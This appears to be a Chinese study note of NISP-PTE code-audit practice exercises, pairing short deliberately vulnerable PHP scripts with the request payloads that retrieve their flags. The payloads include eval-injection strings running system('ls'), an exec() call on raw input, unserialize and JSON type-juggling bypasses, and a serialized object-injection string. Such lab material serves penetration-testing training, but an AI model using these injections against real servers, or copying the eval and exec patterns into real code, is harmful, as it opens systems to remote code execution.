NISP-PTE基础实操——代码审计

pte代码审计模拟1

源代码如下:

php 复制代码
<?php 
error_reporting(0); 
$a = $_GET['a']; 
eval("\$ret = strtolower(\"$a\");"); 
echo $ret; 
show_source(__FILE__); 
?>
  • 接收参数 $a,构造为:

    eval("$ret = strtolower(\"$a\");");

  • eval() 动态执行,构成代码注入点;

  • show_source(__FILE__) 可看到源码,确认存在 eval();

  • strtolower() 是幌子,核心漏洞在于 $a 被无过滤拼接进 eval 字符串,可以闭合字符串并注入任意语句。

🚨 1. 漏洞本质

  • 代码注入 + eval 执行;

  • 你可以闭合 strtolower(") 后直接注入任意 PHP 代码;

  • 攻击载荷执行在服务器端,能使用的函数包括 system()、passthru()、shell_exec()、file_get_contents() 等。

🚀 2. 验证 RCE 是否可行

测试命令执行:

/index.php?a=");system("ls");//

执行逻辑还原:

eval('$ret = strtolower("");system("ls");//");');

此时 system("ls") 被执行,终端结果回显。

/index.php?a=");system("ls

pte代码审计模拟2

php 复制代码
<?php
error_reporting(0); 
show_source(__FILE__);
if(strlen($_GET[1]<30)){
    echo strlen($_GET[1]);
    echo exec($_GET[1]);
}else{
    exit('too more');
}
?>

pte代码审计模拟3

php 复制代码
<?php
error_reporting(0);
include "flag.php";
$TEMP = "CISP";
$str = $_GET['str'];
if (unserialize($str) === $TEMP)
{
    echo "$flag";
}
show_source(__FILE__);

/index.php?str=s:4:"CISP";
/index.php?str=s%3A4%3A"CISP"%3B 

pte代码审计模拟4

php 复制代码
<?php
$v1 = 0;
$v2 = 0;
$a = (array)json_decode(@$_GET['w']);
if (is_array($a)) {
    is_numeric(@$a["bar1"]) ? die("nope") : NULL;
    if (@$a["bar1"]) {
        ($a["bar1"] > 2020) ? $v1 = 1 : NULL;
    }
    if (is_array(@$a["bar2"])) {
        if (count($a["bar2"]) != 5 or !is_array($a["bar2"][0])) {
            die("nope");
        }
        $pos = array_search("cisp-pte", $a["bar3"]);
        $pos === false ? die("nope") : NULL;
        foreach ($a["bar2"] as $key => $val) {
            $val == "cisp-pte" ? die("nope") : NULL;
        }
        $v2 = 1;
    }
}
if ($v1 && $v2) {
    include "key.php";
    echo $key;
}
highlight_file(__file__);
?>

/?w={"bar1":"2025a","bar2":[[],"a","b","c","d"],"bar3":["cisp-pte"]}

pte代码审计模拟6

php 复制代码
阅读源码,获取flag。


$tis = "我们可以让您生活更轻松";

$gp = $_GET['cx'];


if($gp) {

if(preg_match("/[0-9]/", $gp)) {

$tis = "输入的只能是字符";

} else {

if(intval($gp)) {

$flag = @file_get_contents("../../../flag.txt");

if($flag === false) {

$flag = "flag{file_not_found}";

}

$tis = $flag;

} else {

$tis = "只差一步就可以拿到Flag";

}

}

}

?>

pte代码审计模拟7

pte代码审计模拟8

php 复制代码
某些PHP intval函数在处理时会出现些问题!


$gp = isset($_GET['cx']) ? $_GET['cx'] : '';


if ($gp) {

if(intval(" .$gp.")<1001 && intval($gp +1)>10000){

$flag = file_get_contents("../../../flag.txt");

$tis = "验证通过!Flag: " . $flag;

$class = "success";

} else {

$tis = "验证失败,请检查输入参数";

$class = "error";

}

} else {

$tis = "请输入测试参数";

$class = "error";

}

pte代码审计模拟9

一个json对象搞定

pte代码审计模拟10

O:4:"User":1:{s:5:"admin";O:5:"Admin":0:{}}

相关推荐
听风若依20 分钟前
数据在内存中的存储-纸面笔记整理
c语言·笔记
xiaominngtongxue29 分钟前
从中职技能节看实训教学的组织逻辑
笔记
杭州领祺科技38 分钟前
27 号令横向隔离落地清单:储能边缘计算网关 ≠ 电力专用网闸,算电协同中心安全分区/纵向加密/SPDnet 怎么配
人工智能·安全·网络安全·边缘计算·储能·电力·电力监控
事圆则缓43 分钟前
Android 多渠道打包实战:Product Flavors、签名、AAB 与发包校验
android
杨逢昌工厂6S管理1 小时前
109-杨逢昌车间管理负熵循环:三环体系持续输出负熵的机制解析
经验分享·笔记·职场和发展·学习方法
inferno1 小时前
SVN学习笔记(二)
笔记·学习·svn
海绵宝宝转agent2 小时前
leetCode100算法开源笔记分享
笔记·算法
jimmyleeee2 小时前
大模型安全之四十:纵深防御----AI安全没有银弹
人工智能·安全
91刘仁德3 小时前
Linux网络编程从入门到实战:UDP/TCP协议与socket编程全解析
linux·网络·笔记·tcp/ip·udp
@Mike@3 小时前
13-数据库学习笔记(查询执行处理模型)
数据库·笔记·学习